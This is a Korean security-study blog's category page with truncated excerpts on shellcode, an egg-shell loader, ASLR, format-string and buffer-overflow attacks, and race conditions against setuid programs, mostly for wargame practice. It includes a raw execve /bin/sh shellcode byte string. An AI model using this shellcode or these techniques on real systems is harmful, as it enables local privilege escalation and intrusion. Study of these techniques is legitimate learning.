일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- Flutter
- 앱바
- drift
- 테스트
- android
- textview
- appbar
- activity
- DART
- Kotlin
- LifeCycle
- scroll
- 앱
- 안드로이드
- textfield
- livedata
- binding
- viewmodel
- Coroutines
- tabbar
- intent
- TEST
- Navigation
- CustomScrollView
- Dialog
- Button
- Compose
- 계측
- ScrollView
- data
- Today
- Total
목록리버싱/기초 개념 (9)
Study Record
+ 참고 : 쉘 코드 ※ 에그 쉘(eggshell)? 쉘코드를 환경변수에 올릴 때 사용하는 프로그램이다. 에그 쉘 프로그램 # vi egg.c #include #include #include #define DEFAULT_ADDR_SIZE 8 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_SUPERDK_SIZE 2048 #define NOP 0x90 // 배시쉘을 실행하는 쉘코드 char shellcode[] = "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"; int main(int argc, char **argv){ char..
※ 사용할 함수 - execve() #include int execve (const char *filename, char *const argv [], char *const envp[]); /* 다른 프로그램을 실행하고 자신은 종료한다. 리턴값 : 실패일 경우만 -1 filename : 전체 경로명 argv : arg 인수 목록 envp : 환경 설정 목록 */ char *argv[] = {"/bin/bash", 0}; execve("/bin/bash", &argv, 0); 1. 쉘 코드 만들기 - C언어 # vi myshell.c #include int main() { char *bash[] = {"/bin/sh", 0}; execve(bash[0], &bash, 0); /* execve(bash[0],..
Linux 메모리 보호기법 1. ASLR(Address Space Layout Randomization) 프로그램이 실행되어 메모리 공간에 올라갈때, 메모리상의 공격을 어렵게 하기 위해 스택이나 힙, 라이브러리 등의 주소를 무작위로 프로세스 주소 공간에 배치함으로써 실행할 때 마다 데이터의 주소가 바뀌게 하는 기법이다. ※ 프로세스 정보 확인 /proc/self : 현재 사용되고 있는 프로세스 정보 /proc/self/maps : 현재 사용되고 있는 프로세스의 주소맵 실제로 ASLR을 사용하고 안하고의 차이를 확인해보자. # cat /proc/self/maps | head 처음 실행했을 때와 두번째 실행했을 때 메모리 주소값이 다른 걸 볼 수 있다. ※ ASLR 사용 설정 # vi /proc/sys/ke..
공유 메모리 관련 함수 ☞ shmget() #include #include int shmget(key_t key, int size, int shmflg); /* 공유 메모리를 생성하거나 공유 메모리를 사용할 수 있는 함수이다. 리턴값 : 성공시 공유 메모리 ID(공유 메모리 식별자), 실패시 -1 key_t key : 공유 메모리를 읽기 위한 key 변수 int size : 공유 메모리의 크기 shmflg : 공유 메모리 생성이나 사용 옵션을 지정 - IPC_CREAT : 공유 메모리 생성 - 0666 : 공유 메모리 사용 권한 */ int shm_id = shmget((key_t)7530, 1024, IPC_CREAT|0666); ☞ shmat() #include #include void *shmat(..
포맷 스트링 개요 및 메모리 값 바꾸기 1. 포맷 스트링 개요 ※ 포맷 스트링? 일반적으로 사용로부터 입력을 받아들이거나 결과를 출력하기 위하여 사용하는 형식이다. 매개변수 형식 매개변수 형식 %d 정수형 10진수 상수(integer) %c 문자 값(char) %f 실수형 상수(float) %s 문자열 %lf 실수형 상수(double) %o 8진수 양의 정수 %n * int(총 바이트 수) - 이전까지 쓴 문자열의 바이트 수 %u 10진수 양의 정수 %hn %n의 반인 2바이트 단위 %x 16진수 양의 정수 포맷 스트링 형식 중 %x 는 버그가 있는 함수와 사용됐을 때 예상치 못한 동작을 하는 경우가 있다. 바로 printf("%x") 이다. 다음과 같은 코드(format.c)가 있다고 해보자. #inc..
버퍼 오버플로우 공격 메모리를 다루는 데에 오류가 발생하여 잘못된 동작을 하는 프로그램 취약점이다. 보통 개발된 프로그래밍 언어의 버퍼 오버플로우에 취약한 함수가 있는 경우 데이터가 지정된 크기의 공간보다 커서 해당 메모리 공간을 벗어나 의도치 않은 동작이 실행될 수 있는 공격으로, 결론적으로 버퍼 공간의 크기보다 큰 데이터를 저장하게 해서 일어나는 오버플로우(Overflow)를 이용한 공격이다. 버퍼 오버플로우 공격 중, 스택 오버플로우는 스택공간에서 버퍼 공간의 크기보다 큰 데이터를 저장하게 해서 의도치 않은 동작(악성코드 실행)이 실행되게 한다. 예시로 Hake Me 의 level9 단계 중 /usr/bin/bof 소스 코드를 보자. #include #include #include // /usr/b..
1. 진법 전환 2진수 ↔ 10진수 10011(2) = 1 * 2^0 + 1 * 2^1 + 0 * 2^2 + 0 + 2^3 + 1 * 2^4 = 19(10) 19(10) = 19 / 2 : 9 --- 1 ↑ 9 / 2 : 4 --- 1 ↑ 4 / 2 : 2 --- 0 ↑ 2 / 2 : 1 --- 0 ↑ = 1011(2) 2진수 ↔ 8진수 3글자씩 나눠서 읽는다. 101001110(2) = 101 | 001 | 110 = 5 | 1 | 6 = 516(8) 516(8) = 5 | 1 | 6 = 101 | 001 | 110 = 101001110(2) 2진수 ↔ 16진수 4글자씩 나눠서 읽는다. 101001110(2) = 0001 | 0100 | 1110 = 1 | 4 | E = 14E(16) 14E(16) =..
1. 레이스 컨디션 ☞ 레이스 컨디션(Race Condition) 다수의 프로세스가 서로 동일한 자원을 할당받기 위해 경쟁하는 상태이다. ☞ 레이스 컨디션(Race Condition)의 전제조건 다른 계정의 권한에 접근해야 하므로 SetUID가 걸려 있어야 한다. 임시 파일을 생성해야 한다. 공격자가 임시로 생성되는 파일명을 정확하게 알아야 한다. ☞ 레이스 컨디션 원리 victim.c (SetUID, root) attack.c 임시파일 생성 (/tmp/tmp1) 임시파일 사용 임시파일 삭제(/tmp/tmp1) while(true){ if( /tmp/tmp1 파일이 존재?){ # /tmp/tmp1 에 대한 공격 동작 break; } } victim.c 프로그램이 실행될 때 attack.c 가 동시에 실행..